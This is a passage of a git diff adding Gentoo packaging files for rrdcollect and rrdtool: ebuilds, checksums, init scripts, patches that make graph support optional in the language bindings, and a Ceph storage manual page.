--- /dev/null
+++ b/net-analyzer/rrdcollect/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <use>
+ <flag name="exec">Enable exec:/// support</flag>
+ <flag name="librrd">Use the librrd library from <pkg>net-analyzer/rrdtool</pkg></flag>
+ </use>
+ <upstream>
+ <remote-id type="sourceforge">rrdcollect</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/rrdcollect/rrdcollect-0.2.9.ebuild b/net-analyzer/rrdcollect/rrdcollect-0.2.9.ebuild
new file mode 100644
index 000000000000..f3c04ae5fedb
--- /dev/null
+++ b/net-analyzer/rrdcollect/rrdcollect-0.2.9.ebuild
@@ -0,0 +1,41 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils
+
+DESCRIPTION="Read system statistical data and feed it to RRDtool"
+HOMEPAGE="http://rrdcollect.sourceforge.net/"
+SRC_URI="mirror://sourceforge/rrdcollect/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86"
+IUSE="exec librrd pcre"
+
+DEPEND="
+ librrd? ( net-analyzer/rrdtool )
+ pcre? ( dev-libs/libpcre )
+"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-include.patch
+}
+
+src_configure() {
+ econf \
+ $(use_enable exec) \
+ $(use_with librrd) \
+ $(use_with pcre libpcre)
+}
+
+DOCS=( AUTHORS ChangeLog NEWS TODO )
+
+src_install() {
+ default
+ docinto examples
+ dodoc doc/examples/*
+}
diff --git a/net-analyzer/rrdtool/Manifest b/net-analyzer/rrdtool/Manifest
new file mode 100644
index 000000000000..4296af6a11c2
--- /dev/null
+++ b/net-analyzer/rrdtool/Manifest
@@ -0,0 +1,3 @@
+DIST rrdtool-1.4.8.tar.gz 1379482 SHA256 de95b9f5aa488b0683600aad5a07c316f8d98cbe8d00aa0a1c87e2b2ef89f3d6 SHA512 c525978829508e1db393092c948d8db910554f42e1221acc4064a8f546ceac5d68943f603c6f0ef0e6510bbe5f606cfe6862672145ea1b630cd2b7fd07fa805b WHIRLPOOL f3926aed715a80c8d8287b057c39bbe614d81ebf9f24d1e285a9a438594d5c4c66b59934cc7c6be0550f0f729f319b01a46efc32ccf0b412563c43cf74a21564
+DIST rrdtool-1.4.9.tar.gz 1385640 SHA256 3e2826e0d60aaf85313da35b3c0d3a926748fe482b4ada766a325a83b60125cc SHA512 938d6a10c750cbc1e368020fc2408644bc10f6e1d9316f3117df406beef16d7d5fca2fc6fa2bdb6b1ed3e49aa872d58f1f66d1ccee9fe73483c6a5e483c33d4a WHIRLPOOL bc5fb01aef18feb89bb801a2f7fa8c2002b8f8a40e8038355e7edda8a729f354a639c864c01a1ddc7a66d19c8911d75f4f202008bec994d521a209dc6579fe10
+DIST rrdtool-1.5.3.tar.gz 2158011 SHA256 79e7b2f5cf74843e89fe4d08925f955268fd21736cbea03e54ae83320fc6129f SHA512 51e0dbca582acde1a0e77a8fcc4ffa2389b5467b5eb2443a6c9e38851459b7aa9bc08a8d5fd44f69c72e3cdb46be64a2baa66c69ca86a4cda8a061120fa14afb WHIRLPOOL 8738a499699423bd7c2536ca8d8b57db386b190fdeea47328c126aa70fae8d604ab1ab18253567a8426fe73e3fb9ab17ba8c40563841015da96451dcb4435dd7
diff --git a/net-analyzer/rrdtool/files/rrdcached.confd b/net-analyzer/rrdtool/files/rrdcached.confd
new file mode 100644
index 000000000000..0463a7923461
--- /dev/null
+++ b/net-analyzer/rrdtool/files/rrdcached.confd
@@ -0,0 +1,8 @@
+RRCACHE_ARGS="-l unix:/var/run/rrdcached.sock -j /var/lib/rrdcached/journal/ -F -b /var/lib/rrdcached/db/ -B"
+
+USER=""
+GROUP=""
+
+MODE=""
+
+MAXWAIT=30
diff --git a/net-analyzer/rrdtool/files/rrdcached.init b/net-analyzer/rrdtool/files/rrdcached.init
new file mode 100644
index 000000000000..d5e9469406e6
--- /dev/null
+++ b/net-analyzer/rrdtool/files/rrdcached.init
@@ -0,0 +1,14 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+command="/usr/bin/rrdcached"
+command_args="${RRCACHE_ARGS} -p /run/rrdcached.pid"
+start_stop_daemon_args="--quiet"
+description="RRDtool data caching daemon"
+
+depend() {
+ need localmount net
+ use logger
+}
diff --git a/net-analyzer/rrdtool/files/rrdtool-1.4.7-configure.ac.patch b/net-analyzer/rrdtool/files/rrdtool-1.4.7-configure.ac.patch
new file mode 100644
index 000000000000..668adeee13ee
--- /dev/null
+++ b/net-analyzer/rrdtool/files/rrdtool-1.4.7-configure.ac.patch
@@ -0,0 +1,21 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -148,7 +148,7 @@
+ AC_PROG_CPP
+ AC_PROG_CC
+ AM_PROG_CC_C_O
+-AC_PROG_LIBTOOL
++LT_INIT
+
+ dnl Try to detect/use GNU features
+ CFLAGS="$CFLAGS -D_GNU_SOURCE"
+@@ -204,9 +204,6 @@
+ AC_CHECK_FUNC(acos, , AC_CHECK_LIB(m, acos))
+
+
+-dnl add pic flag in any case this makes sure all our code is relocatable
+-eval `./libtool --config | grep pic_flag=`
+-CFLAGS="$CFLAGS $pic_flag"
+
+
+ dnl Checks for library functions.
diff --git a/net-analyzer/rrdtool/files/rrdtool-1.4.8-disable-rrd_graph.patch b/net-analyzer/rrdtool/files/rrdtool-1.4.8-disable-rrd_graph.patch
new file mode 100644
index 000000000000..24c264e920d3
--- /dev/null
+++ b/net-analyzer/rrdtool/files/rrdtool-1.4.8-disable-rrd_graph.patch
@@ -0,0 +1,227 @@
+--- a/bindings/perl-shared/RRDs.xs
++++ b/bindings/perl-shared/RRDs.xs
+@@ -189,6 +189,7 @@
+ OUTPUT:
+ RETVAL
+
++#ifdef HAVE_RRD_GRAPH
+ SV *
+ rrd_graph(...)
+ PROTOTYPE: @
+@@ -235,6 +236,8 @@
+ PUSHs(sv_2mortal(newSViv(xsize)));
+ PUSHs(sv_2mortal(newSViv(ysize)));
+
++#endif /* HAVE_RRD_GRAPH */
++
+ SV *
+ rrd_fetch(...)
+ PROTOTYPE: @
+@@ -313,6 +316,7 @@
+ PUSHs(sv_2mortal(newSVuv(start_tmp)));
+ PUSHs(sv_2mortal(newSVuv(end_tmp)));
+
++#ifdef HAVE_RRD_GRAPH
+ int
+ rrd_xport(...)
+ PROTOTYPE: @
+@@ -371,6 +375,8 @@
+ PUSHs(sv_2mortal(newRV_noinc((SV*)names)));
+ PUSHs(sv_2mortal(newRV_noinc((SV*)retar)));
+
++#endif /* HAVE_RRD_GRAPH */
++
+ SV*
+ rrd_info(...)
+ PROTOTYPE: @
+@@ -397,6 +403,7 @@
+ OUTPUT:
+ RETVAL
+
++#ifdef HAVE_RRD_GRAPH
+ SV*
+ rrd_graphv(...)
+ PROTOTYPE: @
+@@ -410,6 +417,8 @@
+ OUTPUT:
+ RETVAL
+
++#endif /* HAVE_RRD_GRAPH */
++
+ int
+ rrd_dump(...)
+ PROTOTYPE: @
+--- a/bindings/lua/rrdlua.c
++++ b/bindings/lua/rrdlua.c
+@@ -267,6 +267,7 @@
+ return 1;
+ }
+
++#ifdef HAVE_RRD_GRAPH
+ static int
+ lua_rrd_graph (lua_State * L)
+ {
+@@ -291,6 +292,7 @@
+ rrd_freemem(calcpr);
+ return 3;
+ }
++#endif /* HAVE_RRD_GRAPH */
+
+ static int
+ lua_rrd_flushcached(lua_State *L)
+@@ -305,11 +307,13 @@
+ return lua_rrd_infocall(L, "info", rrd_info);
+ }
+
++#ifdef HAVE_RRD_GRAPH
+ static int
+ lua_rrd_graphv (lua_State * L)
+ {
+ return lua_rrd_infocall(L, "graphv", rrd_graph_v);
+ }
++#endif /* HAVE_RRD_GRAPH */
+
+ static int
+ lua_rrd_updatev (lua_State * L)
+@@ -347,7 +351,9 @@
+ {"dump", lua_rrd_dump},
+ {"fetch", lua_rrd_fetch},
+ {"first", lua_rrd_first},
++#ifdef HAVE_RRD_GRAPH
+ {"graph", lua_rrd_graph},
++#endif /* HAVE_RRD_GRAPH */
+ {"last", lua_rrd_last},
+ {"resize", lua_rrd_resize},
+ {"restore", lua_rrd_restore},
+@@ -357,7 +363,9 @@
+ #if defined(DINF)
+ {"info", lua_rrd_info},
+ {"updatev", lua_rrd_updatev},
++#ifdef HAVE_RRD_GRAPH
+ {"graphv", lua_rrd_graphv},
++#endif /* HAVE_RRD_GRAPH */
+ #endif
+ {NULL, NULL}
+ };
+--- a/bindings/python/rrdtoolmodule.c
++++ b/bindings/python/rrdtoolmodule.c
+@@ -261,6 +261,7 @@
+ return r;
+ }
+
++#ifdef HAVE_RRD_GRAPH
+ static char PyRRD_graph__doc__[] =
+ "graph(args..): Create a graph based on data from one or several RRD\n"
+ " graph filename [-s|--start seconds] "
+@@ -327,6 +328,7 @@
+ destroy_args(&argv);
+ return r;
+ }
++#endif /* HAVE_RRD_GRAPH */
+
+ static char PyRRD_tune__doc__[] =
+ "tune(args...): Modify some basic properties of a Round Robin Database\n"
+@@ -503,6 +505,7 @@
+ return r;
+ }
+
++#ifdef HAVE_RRD_GRAPH
+ static char PyRRD_graphv__doc__[] =
+ "graphv is called in the same manner as graph";
+
+@@ -530,6 +533,7 @@
+ destroy_args(&argv);
+ return r;
+ }
++#endif /* HAVE_RRD_GRAPH */
+
+ static char PyRRD_updatev__doc__[] =
+ "updatev is called in the same manner as update";
+@@ -587,6 +591,7 @@
+ return r;
+ }
+
++#ifdef HAVE_RRD_GRAPH
+ static char PyRRD_xport__doc__[] =
+ "xport(args..): dictionary representation of data stored in RRDs\n"
+ " [-s|--start seconds] [-e|--end seconds] [-m|--maxrows rows]"
+@@ -664,6 +669,7 @@
+ destroy_args(&argv);
+ return r;
+ }
++#endif /* HAVE_RRD_GRAPH */
+
+ /* List of methods defined in the module */
+ #define meth(name, func, doc) {name, (PyCFunction)func, METH_VARARGS, doc}
+@@ -672,16 +678,22 @@
+ meth("create", PyRRD_create, PyRRD_create__doc__),
+ meth("update", PyRRD_update, PyRRD_update__doc__),
+ meth("fetch", PyRRD_fetch, PyRRD_fetch__doc__),
++#ifdef HAVE_RRD_GRAPH
+ meth("graph", PyRRD_graph, PyRRD_graph__doc__),
++#endif /* HAVE_RRD_GRAPH */
+ meth("tune", PyRRD_tune, PyRRD_tune__doc__),
+ meth("first", PyRRD_first, PyRRD_first__doc__),
+ meth("last", PyRRD_last, PyRRD_last__doc__),
+ meth("resize", PyRRD_resize, PyRRD_resize__doc__),
+ meth("info", PyRRD_info, PyRRD_info__doc__),
++#ifdef HAVE_RRD_GRAPH
+ meth("graphv", PyRRD_graphv, PyRRD_graphv__doc__),
++#endif /* HAVE_RRD_GRAPH */
+ meth("updatev", PyRRD_updatev, PyRRD_updatev__doc__),
+ meth("flushcached", PyRRD_flushcached, PyRRD_flushcached__doc__),
++#ifdef HAVE_RRD_GRAPH
+ meth("xport", PyRRD_xport, PyRRD_xport__doc__),
++#endif /* HAVE_RRD_GRAPH */
+ {NULL, NULL, 0, NULL}
+ };
+
+--- a/src/rrd_cgi.c
++++ b/src/rrd_cgi.c
+@@ -56,6 +56,7 @@
+ const char **);
+
+ /* call rrd_graph and insert appropriate image tag */
++#ifdef HAVE_RRD_GRAPH
+ char *drawgraph(
+ long,
+ const char **);
+@@ -64,6 +65,7 @@
+ char *drawprint(
+ long,
+ const char **);
++#endif /* HAVE_RRD_GRAPH */
+
+ /* pretty-print the <last></last> value for some.rrd via strftime() */
+ char *printtimelast(
+@@ -542,9 +544,13 @@
+ }
+ parse(&buffer, i, "<RRD::GETVAR", rrdgetvar);
+ parse(&buffer, i, "<RRD::GOODFOR", rrdgoodfor);
++#ifdef HAVE_RRD_GRAPH
+ parse(&buffer, i, "<RRD::GRAPH", drawgraph);
++#endif /* HAVE_RRD_GRAPH */
+ parse(&buffer, i, "<RRD::INCLUDE", includefile);
++#ifdef HAVE_RRD_GRAPH
+ parse(&buffer, i, "<RRD::PRINT", drawprint);
++#endif /* HAVE_RRD_GRAPH */
+ parse(&buffer, i, "<RRD::SETCONSTVAR", rrdsetvarconst);
+ parse(&buffer, i, "<RRD::SETENV", rrdsetenv);
+ parse(&buffer, i, "<RRD::SETVAR", rrdsetvar);
+@@ -929,7 +935,7 @@
+ }
+
+
+-
++#ifdef HAVE_RRD_GRAPH
+ char *drawgraph(
+ long argc,
+ const char **args)
+@@ -961,6 +967,7 @@
+ }
+ return NULL;
+ }
++#endif /* HAVE_RRD_GRAPH */
+
+ char *drawprint(
+ long argc,
diff --git a/net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-cgi.patch b/net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-cgi.patch
new file mode 100644
index 000000000000..67f0ce2fb292
--- /dev/null
+++ b/net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-cgi.patch
@@ -0,0 +1,49 @@
+--- a/src/rrd_cgi.c
++++ b/src/rrd_cgi.c
+@@ -56,6 +56,7 @@
+ const char **);
+
+ /* call rrd_graph and insert appropriate image tag */
++#ifdef HAVE_RRD_GRAPH
+ char *drawgraph(
+ long,
+ const char **);
+@@ -64,6 +65,7 @@
+ char *drawprint(
+ long,
+ const char **);
++#endif /* HAVE_RRD_GRAPH */
+
+ /* pretty-print the <last></last> value for some.rrd via strftime() */
+ char *printtimelast(
+@@ -542,9 +544,13 @@
+ }
+ parse(&buffer, i, "<RRD::GETVAR", rrdgetvar);
+ parse(&buffer, i, "<RRD::GOODFOR", rrdgoodfor);
++#ifdef HAVE_RRD_GRAPH
+ parse(&buffer, i, "<RRD::GRAPH", drawgraph);
++#endif /* HAVE_RRD_GRAPH */
+ parse(&buffer, i, "<RRD::INCLUDE", includefile);
++#ifdef HAVE_RRD_GRAPH
+ parse(&buffer, i, "<RRD::PRINT", drawprint);
++#endif /* HAVE_RRD_GRAPH */
+ parse(&buffer, i, "<RRD::SETCONSTVAR", rrdsetvarconst);
+ parse(&buffer, i, "<RRD::SETENV", rrdsetenv);
+ parse(&buffer, i, "<RRD::SETVAR", rrdsetvar);
+@@ -929,7 +935,7 @@
+ }
+
+
+-
++#ifdef HAVE_RRD_GRAPH
+ char *drawgraph(
+ long argc,
+ const char **args)
+@@ -961,6 +967,7 @@
+ }
+ return NULL;
+ }
++#endif /* HAVE_RRD_GRAPH */
+
+ char *drawprint(
+ long argc,
diff --git a/net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-lua.patch b/net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-lua.patch
new file mode 100644
index 000000000000..be8095c438b4
--- /dev/null
+++ b/net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-lua.patch
@@ -0,0 +1,52 @@
+--- a/bindings/lua/rrdlua.c
++++ b/bindings/lua/rrdlua.c
+@@ -267,6 +267,7 @@
+ return 1;
+ }
+
++#ifdef HAVE_RRD_GRAPH
+ static int
+ lua_rrd_graph (lua_State * L)
+ {
+@@ -291,6 +292,7 @@
+ rrd_freemem(calcpr);
+ return 3;
+ }
++#endif /* HAVE_RRD_GRAPH */
+
+ static int
+ lua_rrd_flushcached(lua_State *L)
+@@ -305,11 +307,13 @@
+ return lua_rrd_infocall(L, "info", rrd_info);
+ }
+
++#ifdef HAVE_RRD_GRAPH
+ static int
+ lua_rrd_graphv (lua_State * L)
+ {
+ return lua_rrd_infocall(L, "graphv", rrd_graph_v);
+ }
++#endif /* HAVE_RRD_GRAPH */
+
+ static int
+ lua_rrd_updatev (lua_State * L)
+@@ -347,7 +351,9 @@
+ {"dump", lua_rrd_dump},
+ {"fetch", lua_rrd_fetch},
+ {"first", lua_rrd_first},
++#ifdef HAVE_RRD_GRAPH
+ {"graph", lua_rrd_graph},
++#endif /* HAVE_RRD_GRAPH */
+ {"last", lua_rrd_last},
+ {"resize", lua_rrd_resize},
+ {"restore", lua_rrd_restore},
+@@ -357,7 +363,9 @@
+ #if defined(DINF)
+ {"info", lua_rrd_info},
+ {"updatev", lua_rrd_updatev},
++#ifdef HAVE_RRD_GRAPH
+ {"graphv", lua_rrd_graphv},
++#endif /* HAVE_RRD_GRAPH */
+ #endif
+ {NULL, NULL}
+ };
diff --git a/net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-perl.patch b/net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-perl.patch
new file mode 100644
index 000000000000..c68ca24a3e2f
--- /dev/null
+++ b/net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-perl.patch
@@ -0,0 +1,53 @@
+--- a/bindings/perl-shared/RRDs.xs
++++ b/bindings/perl-shared/RRDs.xs
+@@ -189,6 +189,7 @@
+ OUTPUT:
+ RETVAL
+
++#ifdef HAVE_RRD_GRAPH
+ SV *
+ rrd_graph(...)
+ PROTOTYPE: @
+@@ -235,6 +236,8 @@
+ PUSHs(sv_2mortal(newSViv(xsize)));
+ PUSHs(sv_2mortal(newSViv(ysize)));
+
++#endif /* HAVE_RRD_GRAPH */
++
+ SV *
+ rrd_fetch(...)
+ PROTOTYPE: @
+@@ -313,6 +316,7 @@
+ PUSHs(sv_2mortal(newSVuv(start_tmp)));
+ PUSHs(sv_2mortal(newSVuv(end_tmp)));
+
++#ifdef HAVE_RRD_GRAPH
+ int
+ rrd_xport(...)
+ PROTOTYPE: @
+@@ -371,6 +375,8 @@
+ PUSHs(sv_2mortal(newRV_noinc((SV*)names)));
+ PUSHs(sv_2mortal(newRV_noinc((SV*)retar)));
+
++#endif /* HAVE_RRD_GRAPH */
++
+ SV*
+ rrd_info(...)
+ PROTOTYPE: @
+@@ -397,6 +403,7 @@
+ OUTPUT:
+ RETVAL
+
++#ifdef HAVE_RRD_GRAPH
+ SV*
+ rrd_graphv(...)
+ PROTOTYPE: @
+@@ -410,6 +417,8 @@
+ OUTPUT:
+ RETVAL
+
++#endif /* HAVE_RRD_GRAPH */
++
+ int
+ rrd_dump(...)
+ PROTOTYPE: @
diff --git a/net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-python.patch b/net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-python.patch
new file mode 100644
index 000000000000..72be8163330f
--- /dev/null
+++ b/net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-python.patch
@@ -0,0 +1,64 @@
+--- a/bindings/python/rrdtoolmodule.c
++++ b/bindings/python/rrdtoolmodule.c
+@@ -261,6 +261,7 @@
+ return r;
+ }
+
++#ifdef HAVE_RRD_GRAPH
+ static char PyRRD_graph__doc__[] =
+ "graph(args..): Create a graph based on data from one or several RRD\n"
+ " graph filename [-s|--start seconds] "
+@@ -327,6 +328,7 @@
+ destroy_args(&argv);
+ return r;
+ }
++#endif /* HAVE_RRD_GRAPH */
+
+ static char PyRRD_tune__doc__[] =
+ "tune(args...): Modify some basic properties of a Round Robin Database\n"
+@@ -503,6 +505,7 @@
+ return r;
+ }
+
++#ifdef HAVE_RRD_GRAPH
+ static char PyRRD_graphv__doc__[] =
+ "graphv is called in the same manner as graph";
+
+@@ -530,6 +533,7 @@
+ destroy_args(&argv);
+ return r;
+ }
++#endif /* HAVE_RRD_GRAPH */
+
+ static char PyRRD_updatev__doc__[] =
+ "updatev is called in the same manner as update";
+@@ -587,6 +591,7 @@
+ return r;
+ }
+
++#ifdef HAVE_RRD_GRAPH
+ static char PyRRD_xport__doc__[] =
+ "xport(args..): dictionary representation of data stored in RRDs\n"
+ " [-s|--start seconds] [-e|--end seconds] [-m|--maxrows rows]"
+@@ -664,6 +669,7 @@
+ destroy_args(&argv);
+ return r;
+ }
++#endif /* HAVE_RRD_GRAPH */
+
+ /* List of methods defined in the module */
+ #define meth(name, func, doc) {name, (PyCFunction)func, METH_VARARGS, doc}
+@@ -677,11 +683,11 @@
+ meth("last", PyRRD_last, PyRRD_last__doc__),
+ meth("resize", PyRRD_resize, PyRRD_resize__doc__),
+ meth("info", PyRRD_info, PyRRD_info__doc__),
+-#ifdef HAVE_RRD_GRAPH
++#ifdef HAVE_RRD_GRAPH
+ meth("graph", PyRRD_graph, PyRRD_graph__doc__),
+ meth("graphv", PyRRD_graphv, PyRRD_graphv__doc__),
+ meth("xport", PyRRD_xport, PyRRD_xport__doc__),
+-#endif
++#endif /* HAVE_RRD_GRAPH */
+ meth("updatev", PyRRD_updatev, PyRRD_updatev__doc__),
+ meth("flushcached", PyRRD_flushcached, PyRRD_flushcached__doc__),
+ {NULL, NULL, 0, NULL}
diff --git a/net-analyzer/rrdtool/files/rrdtool-1.5.0_rc1-disable-rrd_graph-lua.patch b/net-analyzer/rrdtool/files/rrdtool-1.5.0_rc1-disable-rrd_graph-lua.patch
new file mode 100644
index 000000000000..6b3a3abf26bb
--- /dev/null
+++ b/net-analyzer/rrdtool/files/rrdtool-1.5.0_rc1-disable-rrd_graph-lua.patch
@@ -0,0 +1,12 @@
+--- a/bindings/lua/rrdlua.c
++++ b/bindings/lua/rrdlua.c
+@@ -367,7 +367,9 @@
+ #if defined(DINF)
+ {"info", lua_rrd_info},
+ {"updatev", lua_rrd_updatev},
++#ifdef HAVE_RRD_GRAPH
+ {"graphv", lua_rrd_graphv},
++#endif /* HAVE_RRD_GRAPH */
+ #endif
+ {NULL, NULL}
+ };
diff --git a/net-analyzer/rrdtool/files/rrdtool-1.5.0_rc1-disable-rrd_graph-python.patch b/net-analyzer/rrdtool/files/rrdtool-1.5.0_rc1-disable-rrd_graph-python.patch
new file mode 100644
index 000000000000..db3daaf47345
--- /dev/null
+++ b/net-analyzer/rrdtool/files/rrdtool-1.5.0_rc1-disable-rrd_graph-python.patch
@@ -0,0 +1,38 @@
+--- a/bindings/python/rrdtoolmodule.c
++++ b/bindings/python/rrdtoolmodule.c
+@@ -675,8 +676,6 @@
+ return r;
+ }
+
+-#endif
+-
+ static char PyRRD_dump__doc__[] =
+ "dump - dump an RRD to XML\n"
+ "[--header|-h {none,xsd,dtd}] [--no-header]file.rrd [file.xml]";
+@@ -704,6 +703,7 @@
+ destroy_args(&argv);
+ return r;
+ }
++#endif /* HAVE_RRD_GRAPH */
+
+ /* List of methods defined in the module */
+ #define meth(name, func, doc) {name, (PyCFunction)func, METH_VARARGS, doc}
+@@ -717,14 +717,16 @@
+ meth("last", PyRRD_last, PyRRD_last__doc__),
+ meth("resize", PyRRD_resize, PyRRD_resize__doc__),
+ meth("info", PyRRD_info, PyRRD_info__doc__),
+-#ifdef HAVE_RRD_GRAPH
++#ifdef HAVE_RRD_GRAPH
+ meth("graph", PyRRD_graph, PyRRD_graph__doc__),
+ meth("graphv", PyRRD_graphv, PyRRD_graphv__doc__),
+ meth("xport", PyRRD_xport, PyRRD_xport__doc__),
+-#endif
++#endif /* HAVE_RRD_GRAPH */
+ meth("updatev", PyRRD_updatev, PyRRD_updatev__doc__),
+ meth("flushcached", PyRRD_flushcached, PyRRD_flushcached__doc__),
++#ifdef HAVE_RRD_GRAPH
+ meth("dump", PyRRD_dump, PyRRD_dump__doc__),
++#endif /* HAVE_RRD_GRAPH */
+ {NULL, NULL, 0, NULL}
+ };
+
diff --git a/net-analyzer/rrdtool/files/rrdtool-1.5.3-rrd_rados.h b/net-analyzer/rrdtool/files/rrdtool-1.5.3-rrd_rados.h
new file mode 100644
index 000000000000..135536af1c72
--- /dev/null
+++ b/net-analyzer/rrdtool/files/rrdtool-1.5.3-rrd_rados.h
@@ -0,0 +1,24 @@
+#ifndef RRD_RADOS_H
+#define RRD_RADOS_H
+
+#include <rados/librados.h>
+
+#include "rrd_tool.h"
+
+typedef struct rrd_rados_t {
+ rados_t cluster;
+ rados_ioctx_t ioctx;
+ const char *oid;
+ rados_write_op_t write_op;
+ int lock;
+} rrd_rados_t;
+
+rrd_rados_t* rrd_rados_open(const char *oid);
+int rrd_rados_close(rrd_rados_t *rrd_rados);
+int rrd_rados_create(const char *oid, rrd_t *rrd);
+size_t rrd_rados_read(rrd_rados_t *rrd_rados, void *data, size_t len, uint64_t offset);
+size_t rrd_rados_write(rrd_rados_t *rrd_rados, const void *data, size_t len, uint64_t offset);
+int rrd_rados_flush(rrd_rados_t *rrd_rados);
+int rrd_rados_lock(rrd_rados_t *rrd_rados);
+
+#endif
diff --git a/net-analyzer/rrdtool/files/rrdtool-1.5.3-rrdrados.pod b/net-analyzer/rrdtool/files/rrdtool-1.5.3-rrdrados.pod
new file mode 100644
index 000000000000..0c645548a202
--- /dev/null
+++ b/net-analyzer/rrdtool/files/rrdtool-1.5.3-rrdrados.pod
@@ -0,0 +1,68 @@
+=head1 NAME
+
+rrdrados - Creating, updating and retrieving RRD files from Ceph
+
+=head1 SYNOPSIS
+
+E<lt>rrdfileE<gt> = B<ceph//E<lt>nameE<gt>>
+
+
+=head1 DESCRIPTION
+
+This module adds support for creating, updating and retrieving RRD files
+directly from a Ceph cluster using librados.
+
+It adds a ceph// prefix to RRD file name which is used to instruct rrdtool to
+operate on a file that is stored in Ceph.
+
+Currently the module expects to find the Ceph configuration file in the default
+location at /etc/ceph/ceph.conf. By default it uses Ceph client ID "admin" and a
+Ceph pool named "rrd".
+
+
+=head1 ENVIRONMENT VARIABLES
+
+=over 4
+
+=item B<CEPH_ID>
+
+Sets the Ceph Client ID to use when connecting. By default the client ID "admin"
+is used.
+
+=item B<CEPH_POOL>
+
+Sets the name of the Ceph Pool to connect to. By default, the pool "rrd" is
+used.
+
+=back
+
+
+=head1 EXAMPLES
+
+B<Creating an RRD file on Ceph>
+
+ rrdtool create ceph//temperature.rrd --step 300 \
+ DS:temp:GAUGE:600:-273:5000 \
+ RRA:AVERAGE:0.5:1:1200 \
+ RRA:MIN:0.5:12:2400 \
+ RRA:MAX:0.5:12:2400 \
+ RRA:AVERAGE:0.5:12:2400
+
+
+B<Importing an existing RRD into Ceph>
+
+ rrdtool dump existing.rrd | rrdtool restore - ceph//new.rrd
+
+Or you could also copy the RRD file directly into Ceph using the rados command
+line utility.
+
+
+B<Retrieving RRD data from Ceph>
+
+ rrdtool fetch ceph//file.rrd AVERAGE
+
+
+=head1 AUTHOR
+
+Simon Boulet E<lt>simon@nostalgeek.comE<gt>
+
diff --git a/net-analyzer/rrdtool/metadata.xml b/net-analyzer/rrdtool/metadata.xml
new file mode 100644
index 000000000000..2b0a73cda253
--- /dev/null
+++ b/net-analyzer/rrdtool/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<use>
+<flag name='graph'>Enable support for graphing functions</flag>
+<flag name='rados'>Enable support for librados from <pkg>sys-cluster/ceph</pkg></flag>
+<flag name='rrdcgi'>Build rrdcgi support</flag>
+</use>
+</pkgmetadata>
diff --git a/net-analyzer/rrdtool/rrdtool-1.4.8-r1.ebuild b/net-analyzer/rrdtool/rrdtool-1.4.8-r1.ebuild
new file mode 100644
index 000000000000..1c5979229dc4
--- /dev/null
+++ b/net-analyzer/rrdtool/rrdtool-1.4.8-r1.ebuild
@@ -0,0 +1,161 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+DISTUTILS_OPTIONAL="true"
+GENTOO_DEPEND_ON_PERL="no"
+PYTHON_COMPAT=( python2_7 )
+inherit eutils distutils-r1 flag-o-matic multilib perl-module autotools
+
+DESCRIPTION="A system to store and display time-series data"
+HOMEPAGE="http://oss.oetiker.ch/rrdtool/"
+SRC_URI="http://oss.oetiker.ch/rrdtool/pub/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 ~mips ppc ppc64 ~s390 ~sh sparc x86 ~x86-fbsd ~amd64-linux ~ia64-linux ~x86-linux ~x86-macos ~x86-solaris"
+IUSE="dbi doc +graph lua perl python rrdcgi ruby static-libs tcl tcpd"
+
+CDEPEND="
+ >=dev-libs/glib-2.28.7:2[static-libs(+)?]
+ >=dev-libs/libxml2-2.7.8:2[static-libs(+)?]
+ dbi? ( dev-db/libdbi[static-libs(+)?] )
+ graph? (
+ >=media-libs/libpng-1.5.10:0=[static-libs(+)?]
+ >=x11-libs/cairo-1.10.2[svg,static-libs(+)?]
+ >=x11-libs/pango-1.28
+ )
+ lua? ( dev-lang/lua:*[deprecated] )
+ perl? ( dev-lang/perl:= )
+ python? ( ${PYTHON_DEPS} )
+ tcl? ( dev-lang/tcl:0= )
+ tcpd? ( sys-apps/tcp-wrappers )
+"
+
+DEPEND="
+ ${CDEPEND}
+ sys-apps/groff
+ virtual/pkgconfig
+ virtual/awk
+"
+RDEPEND="
+ ${CDEPEND}
+"
+PDEPEND="
+ ruby? ( dev-ruby/rrdtool-bindings )
+"
+
+python_compile() {
+ cd bindings/python || die
+ distutils-r1_python_compile
+}
+
+python_install() {
+ cd bindings/python || die
+ distutils-r1_python_install
+}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-1.4.7-configure.ac.patch
+
+ # bug 456810
+ # no time to sleep
+ sed -i \
+ -e 's|$LUA_CFLAGS|IGNORE_THIS_BAD_TEST|g' \
+ -e 's|^sleep 1$||g' \
+ configure.ac || die
+
+ # Python bindings are built/installed manually
+ sed -i \
+ -e '/^all-local:/s| @COMP_PYTHON@||' \
+ bindings/Makefile.am || die
+
